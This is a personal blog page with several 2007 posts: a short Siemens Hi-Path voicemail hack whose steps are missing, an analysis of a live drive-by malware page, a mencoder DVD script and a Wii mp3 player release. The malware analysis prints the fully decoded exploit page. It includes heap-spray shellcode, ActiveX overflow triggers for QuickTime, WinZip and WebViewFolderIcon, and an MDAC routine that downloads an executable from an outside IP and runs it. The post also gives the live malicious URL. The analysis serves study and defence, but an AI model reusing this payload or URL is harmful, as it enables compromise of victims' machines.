It was my birthday the other day. Here's the fantastic cake Vicky (my girlfriend) made for me:

how to hack a siemens hi-path 15 Dec 2007

Back in Febuary our Siemens Hi-Path got hacked. The attacker was dialing in, then abusing a function in the voicemail module and dialing back out again. After analysing the logs and a couple of hours of playing I managed to reproduce attack. Here's how it was done:

Two default settings enabled the attack:

The full attack:

Disabling the subsitution feature in the Hi-Path Manager and enforcing regular PIN changes nicely closes both vectors.

driveby malware analysis 10 Dec 2007

I thought I'd have a look at an active drive-by exploit located at http://88.255.96.246/freehost1/georg/index.php?id=0290 (!Caution! contains live trojan(s)!)

I used XP patched up until SP2 only, and tcpdump to capture the network traffic.

I've tidied and trimmed the code and hex dumps used below for better readability.

The html below was used to execute js snippets.

<html>
<script>

var results;

function runJs() {
  var srcjs = document.getElementById('srcjs').value;

  eval(srcjs);
  results = "<textarea rows=15 cols=100><!--"+results+"--></textarea>";
  document.getElementById('results').innerHTML = results;
}

</script>
<body>
<textarea id="srcjs" rows=15 cols=100>
results = 'lee';
</textarea><br>
<button onclick="runJs();">run</button>
<br>

<div id="results"></div>
</body>
</html>

You just need to make the js return the result in the variable 'results'.

Part 1 de-obfusticate - Peeling the onion The outer layer appears to make use of http itself by using gzip content encoding as seen here in the http headers:

00000000  47 45 54 20 2f 66 72 65  65 68 6f 73 74 31 2f 67  |GET /freehost1/g|
00000010  65 6f 72 67 2f 69 6e 64  65 78 2e 70 68 70 3f 69  |eorg/index.php?i|
00000020  64 3d 30 32 39 30 20 48  54 54 50 2f 31 2e 31 0d  |d=0290 HTTP/1.1.|
00000030  0a 41 63 63 65 70 74 3a  20 69 6d 61 67 65 2f 67  |.Accept: image/g|
00000040  69 66 2c 20 69 6d 61 67  65 2f 78 2d 78 62 69 74  |if, image/x-xbit|
00000050  6d 61 70 2c 20 69 6d 61  67 65 2f 6a 70 65 67 2c  |map, image/jpeg,|
00000060  20 69 6d 61 67 65 2f 70  6a 70 65 67 2c 20 61 70  | image/pjpeg, ap|
00000070  70 6c 69 63 61 74 69 6f  6e 2f 78 2d 73 68 6f 63  |plication/x-shoc|
00000080  6b 77 61 76 65 2d 66 6c  61 73 68 2c 20 2a 2f 2a  |kwave-flash, */*|
00000090  0d 0a 41 63 63 65 70 74  2d 4c 61 6e 67 75 61 67  |..Accept-Languag|
000000a0  65 3a 20 65 6e 2d 67 62  0d 0a 41 63 63 65 70 74  |e: en-gb..Accept|
000000b0  2d 45 6e 63 6f 64 69 6e  67 3a 20 67 7a 69 70 2c  |-Encoding: gzip,|
000000c0  20 64 65 66 6c 61 74 65  0d 0a 55 73 65 72 2d 41  | deflate..User-A|
000000d0  67 65 6e 74 3a 20 4d 6f  7a 69 6c 6c 61 2f 34 2e  |gent: Mozilla/4.|
000000e0  30 20 28 63 6f 6d 70 61  74 69 62 6c 65 3b 20 4d  |0 (compatible; M|
000000f0  53 49 45 20 36 2e 30 3b  20 57 69 6e 64 6f 77 73  |SIE 6.0; Windows|
00000100  20 4e 54 20 35 2e 31 3b  20 53 56 31 29 0d 0a 48  | NT 5.1; SV1)..H|
00000110  6f 73 74 3a 20 38 38 2e  32 35 35 2e 39 34 2e 32  |ost: 88.255.94.2|
00000120  34 36 0d 0a 43 6f 6e 6e  65 63 74 69 6f 6e 3a 20  |46..Connection: |
00000130  4b 65 65 70 2d 41 6c 69  76 65 0d 0a 0d 0a 48 54  |Keep-Alive....HT|
00000140  54 50 2f 31 2e 31 20 32  30 30 20 4f 4b 0d 0a 44  |TP/1.1 200 OK..D|
00000150  61 74 65 3a 20 53 61 74  2c 20 30 38 20 44 65 63  |ate: Sat, 08 Dec|
00000160  20 32 30 30 37 20 31 35  3a 34 33 3a 30 38 20 47  | 2007 15:43:08 G|
00000170  4d 54 0d 0a 53 65 72 76  65 72 3a 20 41 70 61 63  |MT..Server: Apac|
00000180  68 65 2f 32 0d 0a 58 2d  50 6f 77 65 72 65 64 2d  |he/2..X-Powered-|
00000190  42 79 3a 20 50 48 50 2f  35 2e 32 2e 34 0d 0a 56  |By: PHP/5.2.4..V|
000001a0  61 72 79 3a 20 41 63 63  65 70 74 2d 45 6e 63 6f  |ary: Accept-Enco|
000001b0  64 69 6e 67 2c 55 73 65  72 2d 41 67 65 6e 74 0d  |ding,User-Agent.|
000001c0  0a 43 6f 6e 74 65 6e 74  2d 45 6e 63 6f 64 69 6e  |.Content-Encodin|
000001d0  67 3a 20 67 7a 69 70 0d  0a 43 6f 6e 74 65 6e 74  |g: gzip..Content|  <<< gzip'd
000001e0  2d 4c 65 6e 67 74 68 3a  20 35 39 30 36 0d 0a 4b  |-Length: 5906..K|
000001f0  65 65 70 2d 41 6c 69 76  65 3a 20 74 69 6d 65 6f  |eep-Alive: timeo|
00000200  75 74 3d 31 2c 20 6d 61  78 3d 31 30 30 0d 0a 43  |ut=1, max=100..C|
00000210  6f 6e 6e 65 63 74 69 6f  6e 3a 20 4b 65 65 70 2d  |onnection: Keep-|
00000220  41 6c 69 76 65 0d 0a 43  6f 6e 74 65 6e 74 2d 54  |Alive..Content-T|
00000230  79 70 65 3a 20 74 65 78  74 2f 68 74 6d 6c 0d 0a  |ype: text/html..|

Trivial to decode (just run the 5906 bytes of content through gunzip), but a nice way to hide from a casual look and naive filters.

bash# tail -c 5906 index.bin | gunzip > index.html

Gives us:

<Script Language='JavaScript'>
document.write( 
unescape('
%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73%29%0D%0A%7B%0D%0A%76%61
%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%20%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E
%67%74%68%2D%31%29%29%3B%20%0D%0A%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73
%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%20%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61
%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72
%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%20%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69
%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%20%7D%0D%0A%3C%2F%73%63%72%69%70%74%3E
')); 

zX('
%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8Jkzshynts%2A75ih%2A7%3D%7D%2A7%3E%2A%3CG%7Bfw
%2A75q%2A8I%7D3qjslym%2A7Hn%2A7Ho%2A7Hw%2A7Hg%2A8I%2A7%3D759%3D%2A7K7%2A7%3E%2A7Hu%2A8I5%2A7Hx
%2A8I5%2A7H%7C%2A8I5%2A7H%2A75y%2A8IFwwf%7E%2A7%3D%3B8%2A7H%3E%2A7H8%3A%2A7H8%3B%2A7H9%3C
...trimmed...
%7BJzr%7FX%7C8%7CVjY%3BzNKiZLgVXg%5D%3C%7FNKiZLgVfSZy%7DNKiZr%2A77%2A7%3E%2A8H%2A7Kxhwn
uy%2A8J5');
</Script>

We can see we are now into the first javascript layer which is broken up into two parts. The first section immediately writes out a url encoded string. This decodes to:

<script>
function zX(s) {
  var s1=unescape( s.substr(0,s.length-1) ); 
  var t='';
  for (i=0;i<s1.length;i++) 
    t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1)); 
  document.write(unescape(t)); 
}
</script>

Which is the decoder function used in section two. Used together:

<script language=JavaScript>

function dc(x){
  var l=x.length,i,j,r,b=(2048/2),p=0,s=0,w=0, 
t=Array(63,9,35,36,47,32,4,7,51,39,0,0,0,0,0,0,61,44,8,40,34,30,52,25,15,16,13,6,50,60,56,28,
58,21,2,24,49,48,26,14,33,43,53,0,0,0,0,31,0,18,20,19,29,57,41,54,59,46,62,11,10,1,42,27,55,
37,45,38,5,12,0,17,22,23,3 );

  for(j= Math.ceil(l/b);j>0;j--) {
    r=''; 
    for(i=Math.min(l,b);i>0;  i--,l--) {
      w|=(t[ x.charCodeAt(p++)-48])<<s;
      if(s){
        r+=String.fromCharCode(122^w&255);
        w>>=8;
        s-=2
      } else {
        s=6
      }
    }
    document.write(r)
  }
}

dc("Vd7OKQqz_B5zo5U7oI3waNUtxIFdUG36_AX76d7OKeU6WST76GbQWuXzxMmwpm9w13mRcC5zVGTKbFTzoFT77XtuoUUK
f3mRcC5zSwFdUd7OuAmRVdT7ybmRzCZwVwT7JCZWB5UKzBZbmd7OuAmRVdT7ybR7xAw7Vd3xltFdUd7OOMvtGNU6QIXxaAmz
cIw7aJqxmCZt_OwtBuUwyMTtQ5UvmfQR_N5kcOT7QM5zaXq6oUU6bFXbcXqQVX3alfFbmfZmpmpdUTTzb3XzcbmtVZT7W3DR
...trimmed...
R_NUwktFdUJpO8JpmpmpO8JpmpmpO8dUdUJpmpmpdUJ7R_NUzBIXxBMXzmd7O7O7Opm77HIwKWuwtbCQRWAmRWBZbVtUdUd7
O8Jm7V1ZxVd2Hh32bcfZbVt5x1NUKBNIJuMmROSwtJBqact3x7O7OpmpmpmpdUGbQ13mRcC5z6d7OKQq6_AX76d7OKXwtEu5
xQIXtQAX77XQRWAmRWBZbSwFdUG37cU5xcNTwSdTvEumzSw3wQeT6uIFdUGbQSbX7zIFdUGbQaNUtxIFdUm")
</script>

Again we get a decoder function and a call to that function with the next encoded layer as the first parameter. Allowed to safely write out it's payload:

</textarea><html>
<head>
<title></title>
<script language="JavaScript">

var memory = new Array();
var mem_flag = 0;

function having() { memory=memory; setTimeout("having()", 2000); }

function getSpraySlide(spraySlide, spraySlideSize)
{
	while (spraySlide.length*2<spraySlideSize)
	{spraySlide += spraySlide;}

	spraySlide = spraySlide.substring(0,spraySlideSize/2);
	return spraySlide;
}

function makeSlide()
{
	var heapSprayToAddress = 0x0c0c0c0c;
	var payLoadCode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb" +
"%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7" +
"%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85" +
"%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa" +
"%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf" +
"%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc" +
"%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba" +
"%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec" +
"%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c" +
"%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4" +
"%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07" +
"%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u382F%u2E38%u3532%u2E35%u3439%u322E%u3634%u662F" +
%u6572%u6865%u736F%u3174%u672F%u6F65%u6772%u662F%u6C69%u2E65%u6870%u3F70%u6469%u303D%u3932%u0030");
	var heapBlockSize = 0x400000;
	var payLoadSize = payLoadCode.length * 2;
	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
	var spraySlide = unescape("%u0c0c%u0c0c");

	spraySlide = getSpraySlide(spraySlide,spraySlideSize);
	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
	
	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}

	mem_flag = 1;
	having();
	return memory;
}

function startWVF()
{
	for (i=0;i<128;i++)
	{
		try{ 
			var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'
                        +'ewFol'+'derI'+'con.1');
			d = 0x7ffffffe;
			b = 0x0c0c0c0c
			tar.setSlice(d, b, b, b ); 
		}catch(e){}
	}
}

function startWinZip(object)
{
	var xh = 'A';
	while (xh.length < 231) xh+='A';
	xh+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
	object.CreateNewFolderFromName(xh);
}

function startOverflow(num)
{
	if (num == 0) {
		try {
			var qt = new ActiveXObject('QuickTime.QuickTime');		
			if (qt) {
				var qthtml = '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-
                                D3488ABDDC6B" width="1" height="1" style="i
                                border:0px">'+
				'<param name="src" value="qt.php">'+
				'<param name="autoplay" value="true">'+
				'<param name="loop" value="false">'+
				'<param name="controller" value="true">'+
				'</object>';
				if (! mem_flag) makeSlide();
				document.getElementById('mydiv').innerHTML = qthtml;
				num = 255;
			}
		} catch(e) { }

		if (num = 255) setTimeout("startOverflow(1)", 2000);
		else startOverflow(1);

	} else if (num == 1) {
		try {
			var winzip = document.createElement("object");
			winzip.setAttribute("classid", "clsid:A09AE68F-B14D-43ED-B713-BA413F034904");

			var ret=winzip.CreateNewFolderFromName(unescape("%00"));
			if (ret == false) {
				if (! mem_flag) makeSlide();
				startWinZip(winzip);
				num = 255;
			}

		} catch(e) { }

		if (num = 255) setTimeout("startOverflow(2)", 2000);
		else startOverflow(2);

	} else if (num == 2) {

		try {
			var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+
                        'derI'+'con.1');
			if (tar) {
				if (! mem_flag) makeSlide();
				startWVF();
			}
		} catch(e) { }
	}
}


function GetRandString(len)
{
	var chars = "abcdefghiklmnopqrstuvwxyz";
	var string_length = len;
	var randomstring = '';
	for (var i=0; i<string_length; i++) {
		var rnum = Math.floor(Math.random() * chars.length);
		randomstring += chars.substring(rnum,rnum+1);
	}

	return randomstring;
}

function CreateObject(CLSID, name) {
	var r = null;
	try { eval('r = CLSID.CreateObject(name)') }catch(e){}	
	if (! r) { try { eval('r = CLSID.CreateObject(name, "")') }catch(e){} }
	if (! r) { try { eval('r = CLSID.CreateObject(name, "", "")') }catch(e){} }
	if (! r) { try { eval('r = CLSID.GetObject("", name)') }catch(e){} }
	if (! r) { try { eval('r = CLSID.GetObject(name, "")') }catch(e){} }
	if (! r) { try { eval('r = CLSID.GetObject(name)') }catch(e){} }
	return(r);
}

function XMLHttpDownload(xml, url) {

	try {
		xml.open("GET", url, false);
		xml.send(null);

	} catch(e) { return 0; }

	return xml.responseBody;
}

function ADOBDStreamSave(o, name, data) {

	try {
		o.Type = 1;
		o.Mode = 3;
		o.Open();
		o.Write(data);
		o.SaveToFile(name, 2);
		o.Close();
	} catch(e) { return 0; }

	return 1;
}

function ShellExecute(exec, name, type) {

	if (type == 0) {
		try { exec.Run(name, 0); return 1; } catch(e) { }
	} else {
		try { exe.ShellExecute(name); return 1; } catch(e) { }
	}

	return(0);

}

function MDAC() {
	var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E30}', 
                          '{BD96C556-65A3-11D0-983A-00C04FC29E36}', 
                          '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', 
                          '{0006F033-0000-0000-C000-000000000046}', 
                          '{0006F03A-0000-0000-C000-000000000046}', 
                          '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', 
                          '{6414512B-B978-451D-A0D8-FCFDF33E833C}', 
                          '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', 
                          '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', 
                          '{639F725F-1B2D-4831-A9FD-874847682010}', 
                          '{BA018599-1DB3-44f9-83B4-461454C84BF8}', 
                          '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', 
                          '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', null);
	var v = new Array(null, null, null);
	var i = 0;
	var n = 0;
	var ret = 0;
	var urlRealExe = 'http://88.255.94.246/freehost1/georg/file.php?id=0290';

	while (t[i] && (! v[0] || ! v[1] || ! v[2]) ) {
		var a = null;

		try {
			a = document.createElement("object");
			a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
		} catch(e) { a = null; }
		
		if (a) {
			if (! v[0]) {
				v[0] = CreateObject(a, "msxml2.XMLHTTP");
				if (! v[0]) v[0] = CreateObject(a, "Microsoft.XMLHTTP");
				if (! v[0]) v[0] = CreateObject(a, "MSXML2.ServerXMLHTTP");
			}

			if (! v[1]) {
				v[1] = CreateObject(a, "ADODB.Stream");
			}

			if (! v[2]) {
				v[2] = CreateObject(a, "WScript.Shell");
				if (! v[2]) {
					v[2] = CreateObject(a, "Shell.Application");
					if (v[2]) n=1;
				}
			}
		}

		i++;
	}

	if (v[0] && v[1] && v[2]) {
		var data = XMLHttpDownload(v[0], urlRealExe);
		if (data != 0) {
			var name = "c:\\sys"+GetRandString(4)+".exe";
			if (ADOBDStreamSave(v[1], name, data) == 1) {
				if (ShellExecute(v[2], name, n) == 1) {
					ret=1;
				}
			}
		}
	}

	return ret;
}

function start() {

	if (! MDAC() ) { startOverflow(0); }

}

</script>
</head>
<body onload="start()">
<div id="mydiv"></div>
</body>
</html>

That's what we were looking for... ;-)

mencoder strict dvd mpeg script 30 Nov 2007

This small script should convert any thing mplayer/mencoder can decode in to a strict dvd mpeg2 file, with ac3 audio and two pass encoding. Suitable for playback on pretty much anything that'll read a dvd.

The flags were pulled from here .

#!/bin/bash

flags="-oac lavc -ovc lavc -of mpeg -mpegopts format=dvd:tsaf 
-vf scale=720:576,harddup -srate 48000 -af lavcresample=48000 -ofps 25 
-lavcopts vcodec=mpeg2video:vrc_buf_size=1835:vrc_maxrate=9800:vbitrate=1800:"
flags="${flags}keyint=15:vstrict=0:acodec=ac3:abitrate=192:aspect=16/9:"

#uncomment for super-high-quality
#flags="${flags}trell:mbd=2:precmp=2:subcmp=2:cmp=2:dia=-10:predia=-10:cbp:mv0:"
#flags="${flags}vqmin=1:lmin=1:dc=10:vbitrate=5000:"

echo flags:
echo $flags
echo

for input in "$@"
do
  echo "input file  : $input"
  output="${input%.*}.mpeg"
  output="./${output##*/}"
  echo "output file : $output"
  echo

#  nice mencoder "$input" -o "$output" ${flags}
  nice mencoder "$input" -o "$output" ${flags}vpass=1
  nice mencoder "$input" -o "$output" ${flags}vpass=2
  echo
done
  
wii mp3 player 29 Nov 2007

I decided to release the wii mp3 player I started a couple of months ago when we got our wii.

It uses a tiny flash app (invisible.swf) that actually loads and plays the mp3's, swfobject to load the swf and swfobject_js_gateway to allow js control for the swf. (Required because the flash player on the wii is only version 7.)

The bulk of it is javascript + css, with a tiny bit of php to generate the list of playlists.

Needs apache(?) and php5.

Any problems, comments or suggestions? Mail me.

~Lee